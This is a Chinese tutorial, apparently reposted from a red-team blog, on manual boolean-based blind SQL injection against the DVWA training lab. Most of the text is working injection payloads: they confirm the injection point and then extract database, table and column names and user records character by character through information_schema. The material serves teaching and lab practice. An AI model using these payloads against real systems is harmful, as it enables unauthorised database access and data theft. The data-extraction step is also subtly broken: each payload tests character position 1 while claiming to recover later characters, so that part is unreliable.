Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >MySQL手注之布尔型盲注详解

MySQL手注之布尔型盲注详解

作者头像
渗透攻击红队
发布于 2020-05-25 07:25:14
发布于 2020-05-25 07:25:14
11.9K01
代码可运行
举报
文章被收录于专栏:漏洞知识库漏洞知识库
运行总次数:1
代码可运行

saulGoodman

一个专注于红队攻防研究的公众号

关注

MySQL手注之布尔型盲注详解

布尔型盲注简介

基于布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True(页面)和False(页面)。 这时,我们无法根据应用程序的返回页面得到我们需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到我们需要的信息。

环境:DVWA

注入点:http://www.saul.com/DVWA/vulnerabilities/sqli_blind

我们输入数字1提交,页面提示:User ID exists in the database.,说明ID1的存在与数据库中!

我们输入数字10提交,页面显示:User ID is MISSING from the database,说明ID10不在数据库中!

MySQL盲注常用函数

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
length() 返回字符串的长度,例如可以返回数据库名字的长度 
substr() ⽤来截取字符串 
ascii() 返回字符的ascii码
sleep(n) 将程序挂起⼀段时间,n为n秒
if(expr1,expr2,expr3) 判断语句 如果第⼀个语句正确就执⾏第⼆个语句如果错误执⾏第三个语句

盲注流程

1、判断是否存在注入,是字符型还是数字型注入

注入点原查询代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

判断注入:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
注入语句:
1' and 1=1 #
带入查询的语句:
$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 #';"; 
注入语句:
1' and 1=2 #
带入查询的语句:
$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 #';";

1' and 1=1 # 返回正常:

1' and 1=2 # 返回错误:

说明存在注入,而且是字符型的注入!(如果是数字型的注入,那么就不用去闭合单引号)

2、猜解当前数据库名

猜数据库名长度:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1' and length(database())=1 #
1' and length(database())=2 #
1' and length(database())=3 # 
1' and length(database())=4 #

1' and length(database())=3 # ,页面返回错误:

1' and length(database())=4 #,页面返回正常:

说明当前数据库名长度为4

⼆分法逐字猜解:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1' and ascii(substr(database(),1,1))>97 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼤于 97(⼩写字母a的ascii值);
1' and ascii(substr(database(),1,1))<122 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 122(⼩写字母z的ascii值);
1' and ascii(substr(database(),1,1))<109 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 109(⼩写字母m的ascii值)
1' and ascii(substr(database(),1,1))<103 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 103(⼩写字母g的ascii值);
1' and ascii(substr(database(),1,1))<100 #,显⽰不存在,说明数据库名的第⼀个字符的ascii值不 ⼩于100(⼩写字母d的ascii值);
1' and ascii(substr(database(),1,1))=100 #,显⽰存在,说明数据库名的第⼀个字符的ascii值等于100(⼩写字母d的ascii值),所以数据库名的第⼀个字符的ascii值为100,即⼩写字母d。
重复以上步骤直到得出完整的数据库名dvwa
1' and ascii(substr(database(),n,1))>100
... ...
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
猜解数据库第一个字符为:d
1' and ascii(substr(database(),1,1))=100 #
猜解数据库第二个字符为:v
1' and ascii(substr(database(),2,1))=118 #
猜解数据库第三个字符为:w
1' and ascii(substr(database(),3,1))=119 #
猜解数据库第三个字符为:a
1' and ascii(substr(database(),4,1))=97 #

注释:
substr(str,start,stop)
substr截取字符串str,从start开始截取,截取stop个字符

这里我就不一一截图了,我就截图第四个字符串的图:

这样我们就得到了当前数据库名为:dvwa

3、猜解表名

猜解表的数量:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显⽰不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显⽰存在

注释:
原理是使用count()这个函数来判断table_name这个表的数量有几个
然后后面有一个where判断来指定是当前数据库
在末尾有一个 =1 ,意思是判断表有1个,正确那么页面返回正常,错误即返回不正常

由上图可知,我们判断出当前数据库名下的表有两个!

猜解表名长度:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显⽰存在

注释:
select table_name from information_schema.tables where table_schema=database() limit 0,1),1) 这条语句就是substr的str,要截取的字符
limit 0,1 这条语句是 limit 子句来限制查询的数量,具体格式是这样的:
select * from tableName limit i,n
tableName:表名
i:为查询结果的索引值(默认从0开始),当i=0时可省略i
n:为查询结果返回的数量
i与n之间使用英文逗号","隔开
limit n 等同于 limit 0,n
limit 0,1 默认0(i)就是从1开始

由上图可见,我们查询出来第一个表名的长度是9,那么如果想查询第二个表名的长度就用这条语句:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5 # 显⽰存在

由上图可见第二个表名的长度为5,想要继续查下面的表就可以在 limit x,nx这个参数继续增加1,这样以此类推就可以查询多个表名的长度!

猜解表的名字:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
猜解第一个表名的第一个字符长度是否为:g
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # 返回正常
猜解第一个表名的第二个字符长度是否为:u
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117 # 返回正常
猜解第一个表名的第三个字符长度是否为:e
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=101 # 返回正常
猜解第一个表名的第四个字符长度是否为:s
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=115 # 返回正常
猜解第一个表名的第五个字符长度是否为:t
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1))=116 # 返回正常
猜解第一个表名的第六个字符长度是否为:b
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1))=98 # 返回正常
猜解第一个表名的第七个字符长度是否为:o
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),7,1))=111 # 返回正常
猜解第一个表名的第八个字符长度是否为:o
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),8,1))=111 # 返回正常
猜解第一个表名的第九个字符长度是否为:k
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),9,1))=107 # 返回正常

语法格式是:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit i,1),n,1))>97 #
i 是第几个表
n 是第几个字符长度

这里我就不全部一一截图了,我就截图第九个字符长度为k的:

这样就查询出来第一个表名为:guestbook

那么想要查询下一个表名就可以使用这个语句:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
猜解第二个表名的第一个字符长度是否为:u
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117 # 返回正常
猜解第二个表名的第二个字符长度是否为:s
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=115 # 返回正常
猜解第二个表名的第三个字符长度是否为:e
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1))=101 # 返回正常
猜解第二个表名的第四个字符长度是否为:r
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1))=114 # 返回正常
猜解第二个表名的第五个字符长度是否为:s
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),5,1))=115 # 返回正常

这里我就不一一截图了,我就截图第五个字符的长度为s

这样我们就猜解出来了第二个表名为:users

4、猜解表中的字段名

猜解字段的数量:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
判断表名users的字段数量是否为8
1' and (select count(column_name) from information_schema.columns where table_name='users')=8 #

由上图可知,字段有8个!

我们上帝视角看看:

猜解第⼀个字段的长度(user_id):

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
猜解第一个字段的长度是否为71' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 #

猜解第二个字段的长度(first_name):

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
猜解第二个字段的长度是否为101' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1))=10 #

如果查询下一个字段就以此类推!

猜解第⼀个字段名(user_id):

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
猜解第一个字段名的第一个字符为:u
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1))=117 #
猜解第一个字段名的第二个字符为:s
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),2,1))=115 #
猜解第一个字段名的第三个字符为:e
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),3,1))=101 #
猜解第一个字段名的第四个字符为:r
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),4,1))=114 #
猜解第一个字段名的第五个字符为:_
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),5,1))=95 #
猜解第一个字段名的第六个字符为:i
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),6,1))=105 #
猜解第一个字段名的第七个字符为:d
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),7,1))=100 #

这里我就不一一截图了,我就只截图最后一个字符为d的:

猜解第二个字段名(first_name):

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
猜解第二个字段名的第一个字符为:f
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1,1))=102 #
猜解第二个字段名的第二个字符为:i
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),2,1))=105 #
猜解第二个字段名的第三个字符为:r
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),3,1))=114 #
猜解第二个字段名的第四个字符为:s
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),4,1))=115 #
猜解第二个字段名的第五个字符为:t
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),5,1))=116 #
猜解第二个字段名的第六个字符为:_
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),6,1))=95 #
猜解第二个字段名的第七个字符为:n
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),7,1))=110 #
猜解第二个字段名的第八个字符为:a
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),8,1))=97 #
猜解第二个字段名的第九个字符为:m
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),9,1))=109 #
猜解第二个字段名的第十个字符为:e
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),10,1))=101 #

这里我就不一一截图了,我只截图最后一个字符e

如果想查询第n个字段名,那么就使用这个语句:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit i,1),n,1))=101 #
注释:
i代表查询第几个字段名
n代码查询字段名的第几个字符

5、猜解数据

根据ascii码来猜解数据:

上帝视角如上图,我们就查询 user 这个字段的数据吧!

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
猜解 dvwa.users 表下的 user 列的第一个字段内容为:a
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 # 
猜解 dvwa.users 表下的 user 列的第二个字段内容为:d
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=100 # 
猜解 dvwa.users 表下的 user 列的第三个字段内容为:m
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=109 # 
猜解 dvwa.users 表下的 user 列的第四个字段内容为:i
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=105 # 
猜解 dvwa.users 表下的 user 列的第五个字段内容为:n
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=110 

这里我就不一一截图了,我就截图最后一个字符n

这样就猜解出来字段内容为 admin!想要查询下一个就以此类推!

暴力猜解:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
猜解 user 字段值是否为 admin
1' and (select count(*) from users where user = 'admin') = 1 #

返回正常说明有 admin

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
猜解 user 字段值是否为 1337
1' and (select count(*) from users where user = '1337') = 1 #

返回正常说明有 1337!这样就能够通过暴力破解(字典)的形式来猜解字段内容!以此类推下去猜解全部的字段内容!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-05-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 SaulGoodman 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
SQL注入的各种姿势
当我们在输入框中输入不正常的id如1’ union select 1,database()%23,sql语句为
天钧
2019/07/26
1.1K0
SQL注入的各种姿势
sql注入盲注高级技巧
对于sql盲注,常用的方法应该是二分法,如果是windows平台的话dnslog会是一种奇招,对于个人对盲注的理解,猜解需要大量时间和过多的经验,那么有没有一种比较不错的方式来进行盲注来达到快速又流程话的工作呢?这时候我会使用到burpsuite
黑伞安全
2019/10/16
1.7K0
sql注入盲注高级技巧
【PTE-day04 SQL注入盲注】
在sql拼接中,单引号闭合,井号注释后面的语句,导致修改密码的时候修改的是admin的密码
samRsa
2023/11/17
2400
SQL注入靶场Day3 布尔盲注&延时注入
得知表的字段数为6,现在继续Burp去挨个爆破: 先构造一个爆破字段的payload:
Baige
2022/03/21
1.2K0
SQL注入靶场Day3 布尔盲注&延时注入
用python写一个自动化盲注脚本
当我们进行SQL注入攻击时,当发现无法进行union注入或者报错等注入,那么,就需要考虑盲注了,当我们进行盲注时,需要通过页面的反馈(布尔盲注)或者相应时间(时间盲注),来一个字符一个字符的进行猜解。如果手工进行猜解,这就会有很大的工作量。所以这里就使用python写一个自动化脚本来进行猜解,靶场选择的是sqli-labs的第八关。 参考资料:《python安全攻防》
雪痕@
2021/11/09
2.1K0
用python写一个自动化盲注脚本
sql注入学习总结
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
信安之路
2018/08/08
8510
sql注入学习总结
超详细SQL注入漏洞总结
本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。
网络安全自修室
2022/01/24
5.1K0
超详细SQL注入漏洞总结
复习 - SQL注入
场景:网站A无注入点,网站B存在MySQL注入,且网站AB使用同一数据库。此时可利用网站B的注入点跨库查询获取网站A的数据。
Naraku
2021/07/28
1K0
SQL 注入漏洞浅研究学习
SQL注入漏洞:Web安全方面最高危的漏洞,SQL漏洞威胁着网站后台数据的安全问题。
Mirror王宇阳
2020/11/13
7970
SQL 注入漏洞浅研究学习
SQL注入从入门到进阶
本文章产生的缘由是因为专业老师,让我给本专业的同学讲一哈SQL注入和XSS入门,也就是本文的入门篇,讲完两节课后,发现自己对于SQL注入的理解也就仅仅局限于入门,于是有了进阶章节的产生。
小简
2022/12/29
4K0
SQL注入从入门到进阶
cisp-pte学习笔记之SQL注入(二)
floor() rand() count() group by() 分配初始创建一个虚拟表 分两种 第一种 第一次取数据在虚拟表中进行索引,索引未发现同类项,进行二次取数,进行写入 第二种 第一次取数据在虚拟表中进行索引,索引发现同类型,直接写入,不进行二次取数 concat()
cultureSun
2023/07/08
5090
sql盲注
盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。本次主要讲解的是基于布尔的盲注。
字节脉搏实验室
2020/05/12
9180
sql盲注
SQL注入常用姿势
以Sqli-labs Less8为例,无论输入什么就只有正确和错误,于是可以判断基于布尔的盲注。
用户11062199
2024/05/30
1260
SQL手工注入学习 一
流程: 1、判断是否有SQL注入漏洞 2、判断操作系统、数据库和web应用的类型 3、获取数据库信息看,包括管理员信息(拖库) 4、加密信息破解(sqlmap支持自动破解) 5、提示权限,获得sql-shell,os-shell、web-shell...
Mirror王宇阳
2020/11/13
7640
SQL手工注入学习 一
基于时间的盲注python脚本
  时间盲注就是在页面进行SQL注入并执行后,前端页面无法回显注入的信息。此时,我们可以利用sleep()函数来控制延迟页面返回结果的时间,进而判断注入的SQL语句是否正确,这个过程称之为时间盲注。但如果手工进行注入的话,过程是非常频繁且耗时的,为了提高效率,我们需要编写自动化脚本替我们去完成这些注入工作。
LuckySec
2022/11/02
1.9K0
基于 MySQL 布尔值的 SQL 盲注
通常在 Blind SQLi 中,您无法真正看到您输入的查询的输出。在这种情况下,验证漏洞的唯一方法是查看网站是否成功/部分加载。
Khan安全团队
2022/04/02
1.3K0
SQL布尔盲注自动化脚本的实现 - wuuconix's blog
很久以前做过布尔盲注的题目,但是当时用的是网上的代码,跑出来flag了也是一知半解,没有收获。
wuuconix
2023/01/30
7500
SQLi LABS Less-5 报错注入+布尔盲注「建议收藏」
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
全栈程序员站长
2022/11/11
8730
SQLi LABS Less-5 报错注入+布尔盲注「建议收藏」
盲注基本原理
最近找到一个带有注入的美国网站,发现是盲注,简单讲讲盲注的原理。 1.xxx.com/index.php?ID=79这个位置单引号报错,并且直接给出错误信息: SQL: SELECT *FROM c
天钧
2019/12/17
8160
盲注基本原理
常用SQL注入方式
TomatoCool
2023/07/30
1850
相关推荐
SQL注入的各种姿势
更多 >
领券
💥开发者 MCP广场重磅上线!
精选全网热门MCP server,让你的AI更好用 🚀
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档